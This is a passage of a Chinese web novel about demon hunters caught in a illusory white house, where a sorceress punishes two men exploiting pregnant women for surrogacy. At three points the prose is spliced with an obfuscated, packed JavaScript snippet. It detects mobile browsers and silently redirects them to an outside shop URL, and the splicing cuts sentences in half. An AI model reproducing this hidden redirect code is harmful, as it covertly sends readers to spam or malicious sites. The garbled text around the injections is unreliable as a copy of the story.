他在外面行走多年,什么鬼啊魔啊,他都不带怕的! 副驾驶座的男人名叫张强,听自己的大哥这么说,便看了眼窗外,又回头看向坐在后面的三个女人,咬着牙吩咐说:“我们下车,记得不要说别的,都安分点,知道吗?” “知道了。”女人们齐声回答。 中年大叔张平第一个下车,他朝着林眠他们走去,说道:“几位好,请问这里还有别的路吗?我们开了几次,每次都绕回来。” 林眠微微歪了一下头,看着面前这位大叔,这位大叔皮肤黝黑,手指粗糙,看着像是村里干活的,可是又没有村里人的纯朴感。 而跟在他身后的男人,则高高壮壮,蓄着胡须,看起来也凶悍极了。 “你好,我们也是被困在这出不去了。”秦宁直接开口。 中年男人一听,心里也稍稍放心一些,将原本的杀气都收敛了一下,原来都是误入了这里。 “你们人挺多的。”秦宁侧头看向他的身后,还有三个女人。 更让人一眼便注意到的是,这三个女人的肚子都微微挺起,看样子是都怀孕了。 “哈哈,是啊,我们一家人。”张平笑道,并自我介绍说:“我叫张平,我们家就在埠山镇的下一个镇,本来今天就能开到家门口,谁知……” “哎。” 秦宁也没多问,只是也自我介绍了一下,说:“天快黑了,而且看起来要下雨吗,晚上再出去不安全,这栋房子我们看了,没人住。” “今晚,要不就在这住一晚?” 张平思考了一下,视线在他们三个人身上扫过后,才点头。 “我们进去吧,山里天黑的很快,晚上不安全。”张平招呼着后面的三个女人,而张强则去车上提东西。 就在他们把东西提进屋里的时候,外面刚好下起了雨。 “这鬼天气,说下就下。”张强喘着气,说。他一个人提几个人的东西,都快累死了。 不过,这屋子怎么全是白色的啊?看着怪晦气的。 “这里没有灯吗?”张平看着屋内暗了下来,皱了一下眉。这地方诡异得很,刚刚在外面也是,只是现在他们也没地方可以去。 “没有灯。”林眠说道,他们进来的时候,也发现了,这个屋子连电线都没有,就别提灯了。 外面下雨,天气阴沉沉的,导致室内也一片黑暗。 “啊!”瞿木突然大喊一声。 “怎么了?”坐在瞿木旁边的林眠吃痛,瞿木抓着她的手,突然用力一握,力气还不小,疼的她闭上了眼。 瞿木抖了下身体,有点恐慌地说:“刚刚好像有什么滑滑的、冰冰的东西,在我的手上爬过。” 他的话一出,那几个女人就更加害怕了,激动地说:“怎么办?怎么办?我们回车上去吧?” “外面这么大的雨,温度也低,车上油也不多了。”张平怒声说,“今晚就在这凑合凑合,天亮了我们就走。” 张平说完,在黑夜中看了一眼瞿木,笑道:“小兄弟,你怕不是蹭到了桌椅什么的,不要大惊小怪。” 他看着三个人年纪都大约二十来岁,还年轻的很,又碰到这档子诡异事,多多少少有些害怕也是正常的。 瞿木抽了抽嘴角,心里突然也不是很确定了,他确实有点草木皆兵。 室内顿时鸦雀无声。 33. 白房子(二) 一大群人坐在客厅处,室内昏昏暗暗。瞿木第一次觉得,雨声拍打树叶的声音竟然这么的响亮,啪嗒啪嗒,啪嗒啪嗒…… “我们上去吧,一直待着这儿也不好,山上晚上气温低,又下雨。”秦宁开口说,“楼上有三个房间,里面有床褥被子,我们三个一间就行,剩下的看你们需要。” 秦宁礼貌说完,就抬脚往楼上走去。 瞿木一听,先是在黑暗中看了一圈周围,眼睛已经适应黑暗,虽然看不太清别人脸上的表情,但是人形轮廓还是看得到的。 他起身,拉着林眠一起往上走。 他们一上楼,就听到楼下说话的声音,看来大家都很警惕。 上到楼上,进到最里面的一间房子。 瞿木一屁股坐在椅子上,欲言又止。 “想说什么就说。”秦宁撇了一眼瞿木,他的视力极好,即使在这漆黑的环境下,他也看的一清二楚。 瞿木的眼睛也逐渐适应黑暗了,他看了眼趴在窗户上看风景的林眠,低声对秦宁说:“不是,你不觉得我们两男一女,睡在一个房间里,很……那个吗?” “那个?哪个?”秦宁嘴里念着“那个”,没反应过来。 “就是,”瞿木舔了舔嘴唇,无奈地说:“唉,总之就是…不合适。” 秦宁皱了一下眉,不合适?随后脑子才突然宕机了一下,反应过来。 “你在想些什么?我没有那个意思。” 林眠听到秦宁突然提高的音调,回过头来,她还是第一次见秦宁语气这么急,平时都是很稳重的。 秦宁发现林眠看过来,不是很好意思地也坐在一旁的椅子上,不吭声了。他就是看这伙人不对劲,加上房间只有三间,他就想着两间让给他们。 毕竟对方人多。 瞿木看向秦宁,外面的虽然乌云密度,但也有点光亮,他这个角度正好能看到秦宁的脸,竟然红了。 啊,秦宁到底也才二十出头,还是个年轻小伙子。瞿木一直都把秦宁当成跟他爸那一辈的人,毕竟每天板着一张脸,不苟言笑。 其实仔细想来,秦宁还比自己小个两岁。 不过这里实在是太奇怪了,还是大家待在一起比较好。 “你们觉不觉得楼下那群人有些奇怪?”瞿木找了个话题开口,不然太安静了,他不自在。 “他们都是人,这点可以放心。”秦宁开口。 林眠转过身来,但屋内只有两把椅子,她只好坐到床上,正对着瞿木和秦宁,说:“那三个女的,好像很害怕那两个男的。” “对啊,根本就不是一家人的感觉,我跟我爸都不这样。”瞿木十分认同林眠的说法,他们之间的相处…更像是… “上下级?” “对,瞿木这一点没说错。”秦宁也认可,“不过,这是别人的事,他们是人,我们也无权干涉。” “今晚就将就一晚吧。” 说到这句话的时候,秦宁微微撇了一眼林眠,他在楼下说话的时候没考虑到林眠,实在是不应该。 “林小姐,你去睡床吧,我和瞿木在这将就一下,希望你不要介意。”秦宁对林眠说道。 “哦。”林眠也不推脱,她直接走到床头处,整个人一躺下,就闭上眼睡觉。 瞿木抽了抽嘴角,她是一点没把自己和秦宁当成男人了吗? 这种感觉…还真是有些微妙。瞿木在心里叹了一口气,直接趴在桌上,希望今晚不会出事情吧。 没过多久,隔壁房间就传来声音,看来是楼下那群人也上来了。 秦宁也闭上了眼,依靠着椅子后背。 林眠向来没有什么烦心事,基本上一沾床就能睡着。她睡的正香的时候,总感觉手上有滑滑的东西爬过,她皱着眉伸手一抓,直接扔到一边,翻了个身接着睡。 隔壁房间的张平和张强也睡的正香,外面雨声滴答,屋子里的棉被暖和,实在是睡觉的好天气。 张平感觉自己的脸上有些痒,伸出手挠了挠,再放下手时,触碰到一块冰冰凉凉的,他摸了一下,脑子里第一反应是手没伸进被子里,就把手揣进被子里,一摸,怎么还是凉的? 他眯着眼,看向侧边的张强,眼前的一幕让他猛地清醒过来,身体自然的往后退,掉在了地上。 “嘭”的一声,他都没顾不上疼,屁滚尿流的往外跑去,大喊:“救命啊,救命啊,有蛇,好多条!” 张平大声地喊,还跑去敲门。 秦宁在听到动静的时候就醒了,蛇?进门的时候,门口的标记也是蛇。 “什么?蛇?”瞿木一个弹射起跳,他睡的正香,就听到有人喊蛇,出于身体的本能反映,他立马跳上凳子,不敢下来,四处张望。 “不在我们这,在隔壁。”秦宁说完,就打开门走出去。 张平一个大老爷们,本也是山里长大的,不怕蛇,可这蛇好几条,在床上爬着,任谁见了都会大吃一惊,更令人害怕的是… “张强还在里面,我出来的时候,蛇正在他身上,好几条。”张平连忙对着秦宁说,说完又有些手足无措,他刚刚也想打电话报警叫救护车,可这里一点信号都没有。 但看着秦宁气定神闲的模样,他又不免多看几眼,自己一个大老爷们都不知道该怎么办,这个小年轻怎么会有办法? 隔壁的三个女人也醒来了,慌张的走到门口,有些懵圈,不知道发生了什么。 “你们出来干嘛?快回去,这房间有蛇,免得被咬到了。”张平见她们出来,连忙去赶她们进屋,眉眼间还有几抹担忧。 秦宁直接走进张平睡的这间房,看着床上睡的正舒服的张强,回过头对张平说:“里面没有蛇。” “没有?怎么可能?”张平不信,他亲眼看到几条蛇在张强的身体上。可现在房间里的情况他不知道,只好有些后怕地探个脑袋进去看看。 他挑着眼,原本松垮的眼皮都睁开了。 张平伸出手指着,一脸不可置信地说:“没有,怎么可能没有?” 难道是他睡觉的时候睡迷糊了?可是那会儿的手感,他还记得…滑滑的、冰冰的,鳞片一样的质感。 张强迷迷糊糊,睡得正香,突然肚皮有些凉,外面还有些吵,他挣扎着张开眼,一脸懵地看着站在自己床前的秦宁,自己身上的被子还被掀开了。他看看秦宁,又看看自己衣服被掀开,裸露着的肚皮。 瞬间明白了什么。 “变态啊!来人啊,有变态。”张强连忙从床上起来,捂着胸口往外跑,和自己的大哥张平碰上了。 “哥,哥,你怎么出去了啊?我…我…” 张强一边说一边回头看秦宁,他感觉自己差点就被玷污了。 张平看着搞不清状况的张强,心里还是在为刚刚的事疑惑,真的是自己看错了吗?难道是做梦? 秦宁不明白张强在大惊小怪什么,而且那个看自己的眼神也很奇怪,自己只是上前查看了一下有没有蛇而已。 现在屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666655|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里没看到蛇,秦宁就出来了。 “可能是晚上睡的不安稳,做噩梦了。”秦宁说着,掏出一张符咒交给张平,“将其贴在床头,可保睡眠安宁。” 张平接过符咒,看着秦宁离开。 这人…是道士? “哥,发生什么事了?”张强什么都不知道,对于目前的状态还是糊涂。 张平没好气地看了眼张强,抬头就给他一脑瓜子,说:“睡睡睡,谁让你睡那么死的?万一隔壁的出点事谁负责?这都是钱。” 张强没敢吭声,他向来就睡得死,打雷都吵不醒他。 秦宁进了房间,刚关上门,就听到外面张平说的话,钱? “怎么样?”瞿木轻声问秦宁,主要是林眠还在睡,一点醒的迹象都没有。 有时候,就很羡慕睡眠好的人。 秦宁看了眼床上的林眠,摇了摇头,说:“马上天就亮了,我们就离开,这里不太对劲。” 他不认为张平说的是假话,但也确实没有看到所谓的“蛇”。可这周围也没有妖物的气息,难道这妖物能隐藏气息? 瞿木鼓起半边的脸,也没多问,让他意外的是,这次秦宁竟然不多管闲事了,主动提出早早离开。 伴随着天边第一抹阳光的出现,外面的雨也停了。 林眠从床上起来,伸了个懒腰,走到窗边打开窗户,闻着雨后的清新空气,整个人就很放松。 她跟着瞿木秦宁去到一楼的时候,另外一群人已经在大厅里坐着了。 他们正在吃东西,多是一些面包之类的物品。 林眠咽了一下口水,从昨天到现在,都没吃过东西了。昨天本来以为能到埠山镇,就没准备什么食物。 瞿木也有些饿了,后半夜他就没睡着,因为饿的。 张平朝他们点头打声招呼,就说:“我们准备离开了。” “离得开吗?”秦宁突然问他们。 张平和张强对视一眼。 张平说:“离不开也得试试,总不能一直在这里。” 秦宁没出声,默默地坐着。 张平吃完东西,就催促着女人们快点吃。等她们都吃完后,一群人就离开白屋子,上了车,离开了。 “你说他们回不回再倒回来?”瞿木在旁边问林眠。 林眠摇摇头,她更在意的是… “我们得想办法离开这里,不然会饿死在这的。”林眠捂着肚子说,饿肚子的感觉太难受了。 瞿木抿着唇,这话倒是没说错。 “这里没有妖物的气息。”秦宁说,“那些人也都是普通人。” 林眠歪着头,等着秦宁说下去。 “那在这里布下阵法的,我猜应该是人。” “等下,什么阵法?”瞿木听着就觉得怪怪的,阵法? “我也想问。”林眠也不懂。 秦宁慢慢开口解释:“有很多除妖世家,他们都有自己的独门绝技,我怀疑这有别的除妖师到这了。” “还有别的除妖师呀?”林眠好奇地问。 “嗯,只是各大世家之间往来的不多,我也不太了解是谁。”秦宁略微解释,随着现代的科技发展,很多除妖世家都转行了,彼此之间的联系也不多。 “那我们怎么出去?”瞿木懒得管是哪个除妖师,这里要网没网,要电没电,要吃的也没有,这不是活生生的想把人饿死吗? 他刚说完,外面就有响声,抬头看去,是张平一行人又倒回来了。 34. 白房子(三) 张平又开回了原地,这里太TM不对劲了!偏偏他还无能为力,这个情况,都不知道找谁去! “我们…出不去了,怎么办啊?” “对啊,我们肚子里还有小孩。” “我都快晕了,昨天到今天,都没吃上一口热饭。是不是开错路了啊?” 三个女人,你一句我一句就说了起来。 “别吵了,不会让你们饿死的。”张强出声制止住他们,他也有些害怕地问张平:“哥,这地方太不对劲了,该不会是…” “有鬼”这两个字他没说出口。 张平看着前面大雾弥漫的柏油路,油箱里剩的油也不多了,没有油怕是真的离不开这个鬼地方了。 “下车,去找那三个人,他们其中有个是道士。”张平将车子熄火,昨晚那个人给自己的符咒,确实让自己睡了一个安稳觉。 他们一行人又到了回来,回到了屋内。 “这里根本出不去。”张平直接开口说,问秦宁:“你是道士,有没有办法?” 秦宁摇摇头。 张平一看,无奈地叹了口气,“这怎么办啊?我们这还有三个孕妇。” 那三个孕妇坐在一起,脸上都是惶恐,也都不吭声。 林眠凑到她们身旁,看了几眼鼓起来的肚子,有些紧张地问:“我能摸一下吗?” 三个女人都看向林眠,没出声,沉默了好几秒,坐在最旁边地才说:“可以。” 林眠轻轻地将手放在肚子上,没感觉出什么。 盖山村都是年纪大的老人,虽然有小孩,但没有见到过孕妇。林眠第一次见到怀孕的人,看着她们挺着个大肚子,心里还是有点异样的感觉。 她突然对自己从未谋面的妈妈产生了点好奇,自己那会儿也这样待在妈妈的肚子里吗? 张强本想制止,但在张平的一个眼神之下,就没说什么。 秦宁自然也注意到了这一举动,便装作闲聊的模样,问他:“这三位是?” 张平脸上表情淡淡,“都是村里的,带着点血缘关系,我送她们回村。” “这么巧啊,三个人都怀孕了。”瞿木冷不丁地冒出一句话,现在的年轻人都嚷嚷着不生孩子,一下子见到三个孕妇,也让人觉得有些稀奇。 “哈哈,是啊。”张平笑道,“我们村的人都爱生孩子,多子多福嘛。” “只是现在我们能待在这里,可孕妇不行啊。”张平叹了口气说,“我还得把她们安全送到家,要是出了点事…” “唉。” 秦宁看向那三个孕妇,年纪都不大,看着大约二三十岁的模样,但都有些不爱说话,从昨天到现在,她们没说过几句话,看着十分拘谨。 张平说话的时候,视线是时不时撇向秦宁的。 埠山镇地处深山中的平缓地带,人烟稀少,且老年人居多。这三个人都是年轻人,看衣着打扮家境应该也都不错,怎么会来这里? 但这三人里有一个是道士,想来也不是什么歪门邪道之人。而且,他们游刃有余的表情,都让人觉得,他们是故意不帮自己的。 林眠把她们三个人的肚子都摸了一遍,嘟囔着说:“宝宝在里面不会动吗?” 三个女人也和林眠熟悉了起来,或许也是因为同为女性,也就没那么拘谨了,其中有一个对林眠说:“这才四个多月,哪里会动?” “得六个月这样,就能感受到了。” 林眠懵懂地点点头。 屋内十分安静,大家都没说话,只是看着窗外的明媚天气,以及大雾。 坐了一会儿后,秦宁突然起身,走到门外去。 瞿木也赶紧跟了出去,没一会儿,他们也都走到门口处。 他们在屋檐底下,看着外面的柏油路,阳光照射在柏油路上,给人一种炎热的感觉。 林眠一侧头,突然一只小白蛇出现在自己的眼前,蛇信子吐了吐,触碰到自己的鼻尖处。她眨了眨眼,与这条小白蛇对视。 在白蛇的竖瞳中,她看到一团白雾聚聚散散、重叠交影。迷雾之中,一个身穿白衣的女人从白雾中走出来,手上撑着一把伞。 “这是人还是鬼?”瞿木的声音把林眠拉了回来。 林眠猛然回神,晃了一下头,定睛一看,眼前已经没有白蛇了,而那条处于白雾中的柏油路上,站着一个白衣撑伞女人。 站在一旁的张平和张强见状,第一反应就是这不是人!这个地方诡异,还有个女人出现在这里,而且手上拿着一把奇怪的东西,肯定是什么女鬼现身。 “啊!” 三个孕妇见到这场面,都吓得不行,胆小一点的,直接晕了过去。 林眠手疾眼快,扶住了那个要晕过去的,剩下的两个已经跑开了,跟着张平张强跑到车上去了。 那个白衣女人缓缓朝他们走过来。 林眠看向她,发现她手上的那把伞,不能称之为伞。没有伞布,只有骨架,而这骨架看上去是一节节的白骨,伞的边缘则是蛇头。 一眼看去,白骨森森一片。 瞿木好歹是见过大场面的,比起张平他们,他显然要淡定得多。但这个女的也不知什么来历,怎么所有的妖物都是女的啊? 他心里吐槽着,手却没闲下,一把拉住旁边的林眠,说:“我们也快点跑吧。” 林眠站着没动,指了指前方。 瞿木回头看去,发现女人已经停了下来,脸上荡起一个笑容,眉眼间里,瞿木竟然还看出了一抹温柔。 “你们好,我叫柳寂白。” 柳寂白挥了挥手,歪了一下头,看向后边的瞿木和林眠。 “柳家的人怎么到这里?”秦宁看到那把蛇骨伞的时候,就猜到是柳家的人了。只是他们这么装神弄鬼,实在不应当。 “秦家的人不也在这?”柳寂白反问。 瞿木和林眠对视一眼。 “你们认识啊?”瞿木问。 “不认识。”秦宁回答的很干脆。 “只是柳家的大名,我还是听说过,特别是那把标志性的蛇骨伞。” 刚刚钻进车里的张平和张强,见他们三个还在原地,似乎有说有笑的模样,都惊住了,这…是怎么回事? “你来这儿做什么?”秦宁问柳寂白。 柳寂白将蛇骨伞收起来,倚靠在门框边,说:“无支祁。” “最近找到点踪迹,出现在这附近,我就在这里设了阵法,没想到是你们进来了…还有…”柳寂白说着,看向不远处的五个人。 张平见他们在那说话,眼珠子转了转,刚刚那个场面,绝对不可能是正常人。 “哥,他们这一行人都不正常啊。”张强在副驾驶座看着窗外说。 张平也知道,问题是现在… “我们出不去。”张平说道。 柳寂白看着张平的车,说道:“能进我的阵法的,只有两种人。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678432|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “一是像你们这样的,除妖师抑或是妖物;二是心术不正之人。” “你们觉得,他们是哪一种?” 说到这个,瞿木可有发言权了。 “那肯定是心术不正啊,面相看着就不好。”瞿木说道。而且面前这个女人既然也是秦宁的同行,他就放心多了,至少不会发生点别的。 柳寂白看向瞿木,笑道:“瞿老爷子的孙子还真是不一样,一眼就看出来了。” “那是。”瞿木还是很受用的,虽然这句夸奖里没几分真心。 张平还在车上观察情况,一直看着车窗外的情况。只是一眨眼的功夫,那个白衣女人就到了车窗前,并敲了敲车窗。 “有事吗?”张平没敢打开车窗,只是语气僵硬地问。 “下来。”柳寂白说道,语气里听不出别的感情色彩。 瞿木和林眠这个距离听不到柳寂白说了什么,但看到张平一行人都从车上下来了,且满脸惊恐。 “她做了什么啊?”瞿木问。 秦宁说:“应该是用了术式,柳家算不上什么正派,用的都是邪术。” “我怎么感觉你对人家柳姑娘意见这么大?不是不认识么?”瞿木看向秦宁,试图从他脸上发现点什么。 秦宁撇了一眼瞿木,淡淡地说:“是不认识,但柳家同属于三大除妖世家之一,彼此之间虽没见过面,但也有所了解。 “柳家名声不好,也正是因为使用的都是一些歪门邪道之术。但现在都是论实力,自然而然就排进了前三。” 林眠听的一头雾水,这怎么还有排名? “那秦家是第几?”林眠问。 “第二,柳家第三。”秦宁回答道。 “那第一是谁?”瞿木接着问。他们家虽然经常和这些大师接触,但他还真没了解过。 说到第一,秦宁眼神顿了一下,才慢慢开口说:“文家,只是他们家已经不做这一行很久了,但因为底蕴最深厚,即使不再接触这一行,还是大家心目中的第一。” 瞿木耸耸肩,他对这些事没兴趣。 不远处,张平和张强两个人突然倒在地上,蜷缩着,就像是腹痛一样,在地上疼的打滚。他们旁边的三个女生则惊恐地看着这一幕。 “哼,邪术。”秦宁不屑地皱了下眉,准备上前劝阻。 “他们做错了什么?”林眠比秦宁先一步,上去问柳寂白。 柳寂白看向一旁那三个女生,对她们说:“你们来说。” 瞿木走过来的时候也一脸懵,这几个人虽然看着不是什么好人,但是做什么坏事了? “我…我们…”一个女的颤抖着说,“我们就是想赚点钱,补贴一下家用。” “他们呢?”柳寂白不知道从哪里抽出一根蛇骨,缠住地上张平的脖子,“你们又做了什么?” “我们也只是想赚点钱啊。”张强率先说。 “这是违法。” 柳寂白说完,张平和张强两个人就像是看见了什么恐怖的景象一样,黝黑的脸都能看出发白,嘴唇无血色。 “我…我们以后再也不做了,求求你放过我们吧。”张平说完,掐住自己的脖子,瞳孔放大,就像是要活生生把自己掐死一样。 一旁的张强也开始掐自己的脖子。 “我们以后再也不做了,你放过我们吧。”一个女见了,害怕的直接跪下了说,另一只手捂住肚子,脸上露出疼痛的表情。 35. 再见况衍君 柳寂白见这个场面,心里也不是很舒服,还真是不知道该拿这些女的怎么办了。 “他们联系外面的人,利用你们赚钱,死了就死了,不足为惜。”柳寂白冷声说。 一旁的林眠听着他们的对话,一边不太明白柳寂白说的话,一边又很好奇她是怎么做到让人自己掐自己脖子的? 她伸出手,戳了戳瞿木,示意了一眼。 瞿木心领神会,低声说:“这几个女的,好像是给人代孕?” “代孕是什么意思?”林眠还是不明白,“这个还能帮别人的吗?” “代孕就是收钱帮别人生孩子。”瞿木解释说,“现在科技发达,没什么不可能的。” 林眠还是不太明白,但也没接着问,因为她发现,这个和自己的文化水平有点关系。以她初中的文化水平,不太能理解这个技术。 柳寂白听着瞿木和林眠两个人的窃窃私语,一个眼神扫了过去。 瞿木立马闭上了嘴,装作若无其事的样子,林眠则朝着柳寂白笑笑,既然和秦宁一样都是除妖师,那肯定不会是坏人。 “够了,她们怀着孕,受不了这场面。”秦宁出手阻止。 红色符咒落在张平和张强身上,他们才感觉能够喘上气,趴在地上捂着胸口,大口的喘气。 柳寂白看了眼秦宁,也没多说。 三个孕妇见状,连忙上去扶住张平和张强,朝着车上走去。 柳寂白也没拦住他们,只是晃了一下白皙的手,说:“你们出去后该怎么做应该很清楚,不然…” “知道了,我们以后再也不会做这种事了。”张平和张强脸上都是惊恐,他们第一次遇到这么诡异的事情,这真的是人可以做到的吗? 他们上了车,头也不回的开车走了。 “这回他们能出去了吗?”林眠问。 刚问出口,就看到柏油路上的白雾散去,车子驶出视线。 林眠有些吃惊。 “这件事就这么算了?他们之后说不定还会接着做。”瞿木说道,这件事实在是有些丧尽天良,把女性的身体当成什么了? 柳寂白看向瞿木,抿着唇说:“他们所属的村子是埠山镇下一个镇的村子,比周围都要贫穷,从而衍生了许多非法的行为。” “这两个男的就是负责拉线的,即使他们不做了,村子里的其他人也不愿意放弃这么赚钱的方式,也会有别人来做。要想解决这个问题…” 柳寂白沉默,她纵使有再强的本领,也不能一个一个恐吓过去。 “要想解决这个村子的事情,还得瞿木你来做。”秦宁突然开口。 “我?”瞿木一脸不可置信,“我能做什么?我去报警?这种事情,我看警察都不一定管。” 秦宁看了眼瞿木,说:“这种村子的存在,主要还是因为贫穷,且村民们习惯了这种赚钱方式。瞿家家大业大,可以在这里进行投资。” “这里地处山区,经济不发达,但山清水秀,可以尝试进行开发。” 瞿木抽了抽嘴角,这不就是让他往这里砸钱吗? “行,我回去和老爷子商量商量。”瞿木觉得这个想法也不是不行,赚不赚钱不好说,但… 就当是做慈善了。 这件事敲定之后,柳寂白不免对瞿木刮目相看。 “啊,房子变了。”林眠指着不远处的房子说,原先的白房子变成一栋普通的二层农房,外表看着有些破旧。 “障眼术。”秦宁说道。 “那我们昨晚待的是什么环境啊?”瞿木看着这栋房子,这么破,屋内应该很脏,难怪他总觉得身上不太舒服。 早知道,他昨晚在车上睡好了。 “那是村民的房子,我租了下来,也让他们打扫干净了。给你们住一晚,没收钱算是便宜你们了。”柳寂白双手环抱,对着瞿木翻了个白眼,冷冰冰地问他们:“你们来这做什么?” “一个大名鼎鼎的除妖师,一个瞿家大少爷,还有一个…”柳寂白从上到下地打量着林眠,“不人不妖的女人。” “我叫林眠。”林眠说道。 瞿木无奈扶额叹气,这柳寂白能不知道林眠的名字吗?就她还傻乎乎的自我介绍。 “无支祁有在这出现?”秦宁没回答柳寂白的问题,他更在意这个。 柳寂白点点头,“无支祁出现的地方,都会有异变,我之后也没有他的踪迹了,就想着现在这儿待会,看看能不能发现什么。” “然后你们就来了。” 柳寂白说着,走到瞿木的车旁边,笑着问:“既然你们也要在这里办事,捎上我?” 瞿木和林眠无所谓,秦宁虽然脸上表情不太好,但也没拒绝。 于是,柳寂白成功地蹭上了车。 在车上,瞿木负责开车,林眠坐在了副驾驶座处,柳寂白和秦宁坐在了后面。 “这里我都看过一遍,是个名副其实的山区,无支祁不知道为什么来这里。”柳寂白开口说。 瞿木听了好几次“无支祁”这个名字,忍不住问:“无支祁是什么?是个组织吗?之前我和林眠被追杀过,就和无支祁有关。” 当时他也找人找了找那个“无支祁”的网页和组织,结果一无所获,秦宁那边也不愿意多说。 加上这些日子也没发生什么事,他就把这件事抛之脑后了。 “这种事情你也和他们说了?”柳寂白看向秦宁,语气不是很好。 秦宁回想起之前的事情,被抓的那个人送去警察局后,他去探望了几次,都没得什么结果。 现在柳寂白在这里,加上之前瞿木和林眠发生的事,他索性也就直说了。 “无支祁是什么,我们也不知道。只知道他们一直在收集妖物和邪性,明目张胆,我们找了很久,一点蛛丝马迹都没找到。 但有一点无疑,它盯上了林眠。” “不过我们离开北城后,就没有再遇到了那群帮无支祁做事的人了。” 柳寂白听了,心里也有了数。这些年无支祁一直在找妖物和邪性,而林眠身上的气息绝对不是寻常人,她身上的妖物也是从未见过的。 因此,她不免对林眠产生几分好奇。 “林眠,你身上的妖物是什么?”柳寂白直接问林眠。 坐在前面的林眠听到柳寂白喊自己,回过头,说:“我不太清楚,我们都喊菌丝,但菌丝是不是它的名字…我不知道。” 这些天跟着秦宁,遇到了那么多事,她也清楚每个妖物名字的重要性。 “它住在你的身体里,你连它的名字都不知道?”柳寂白挑了挑眉,这还真是少见。 秦宁这时候开口:“林小姐体内的妖物,世上不管是人还是妖,恐怕没几个知道它的名字。” “我们之前去找面蝶的时候,遇到的鬼蛾,也把林小姐体内的妖物称为菌丝。” 柳寂白有些吃惊,从秦宁的话语里,看来他们这段时间见了不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687706|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少妖物。 “所以,你们来这儿做什么?应该不是追着无支祁来的。”柳寂白再问一次,之前每次都被秦宁岔开话题了。 “找银木邪性。”开车的瞿木开口说。 柳寂白不太懂。 瞿木就解释了一下之前发生的事,等他解释完,就已经到了导航上的地址,也就是况衍君发来的地址。 “林眠,你给况衍君发个信息。”瞿木一边低头解安全带,一边说。 “哦。”林眠老实地拿出手机,认认真真的编辑信息,刚发出去,一抬头就看到况衍君站在车窗前,朝着林眠挥了挥手。 车门被打开,林眠才后知后觉的下了车。 又回到熟悉的地方,这里和她离开之前,一点变化都没有。 “况衍君,你来这里做什么?”瞿木火急火燎地走到况衍君身旁,想直接给他一个锁喉,谁知道况衍君直接躲开了。 “银木邪性呢?我们找到妖物的眼泪了。”瞿木咬着牙说。 秦宁上前拉住瞿木,让他别激动。 “邪性还在他身上。”秦宁说。 柳寂白站在一旁,倚靠在车边,看着他们,同时也打量了一番况衍君,竟然能够压制住银木邪性。 不过,这个人似乎有些眼熟。 “需要我做什么?”况衍君笑着说。 提到这个,瞿木也熄火了。 那封信上只说要这两个,没说怎么做啊。 “我拿出来试试?”秦宁说,妖物的眼泪在他的身上。 况衍君看向秦宁的身后,说:“你确定要在这里?” 大家伙顺着况衍君的视线,回过头一看,发现有一个老奶奶杵着拐杖,慢悠悠朝着这边走来。 “祝奶奶。”林眠出声。 祝奶奶原本埋着头往前走,听到林眠的声音时,还愣了一下,抬起头,眯着眼看着自己面前这几个人,操着一口方言说:“哎哟,怎么这么多人?” “林家孩子,你回来了。”祝奶奶看到林眠,语气都激动了一些。 林眠上去扶住她,亲切地带着她往前走,给她送到前面的一处小房子处,又和祝奶奶说了几句,才回来。 “祝奶奶是村子里年纪最大的,对我可好了。”林眠说道。 “看出来了,都没见你对我这么热情过。” 瞿木在旁边风言风语,林眠不懂什么意思,她觉得自己对瞿木可好了。 “我对你也很好呀,我经常安慰你呢。”林眠不满地说。 瞿木瞪大了眼睛,看了眼周围的三双眼睛,连忙说:“胡说什么呢?我堂堂大男人一个,需要你安慰?” 说完,他又赶紧拉着林眠走到一边去,不让林眠说话。 “这里确实不是很合适。”秦宁收回视线,接着刚刚的话题,一本正经地说:“不知道林小姐有没有什么地方推荐一下?” “毕竟等会儿不知道会发生什么事,还是要找个见不到外人的地方好。” “推荐啊?”林眠想了一下,掰着手指算:“祝奶奶家的竹林?河边的空地?还有山上也没有人。” 这些答案显然不是秦宁想要的,他打断林眠的话,说:“可否去林小姐的家?” 林眠眨眨眼,说:“可以,不过我家距离这里有点距离,而且车子开不上去。” “不打紧,我们走上去就行。”秦宁二话不说就同意了。 林眠一脸懵地点点头,走在前面带路。 36. 林家 林眠的家确实地处偏远,先是穿过一条大河,河上面架了桥,虽没有护栏,但还算宽,走过去倒也不惊险。 穿过河,还要走一段路,穿过竹林,再穿过几处低矮的人家。 “快了,再走一段路就到了。”林眠回头对他们说。 瞿木已经见怪不怪了,他可是在深山老林里走过的人,这里至少还有用石子铺成的小路,再不济还有人踩出来的黄土路。 他走着走着,柳寂白突然走到他的旁边,低声说:“秦宁他不是本来就想去林眠家嘛?还要故意装一装。” 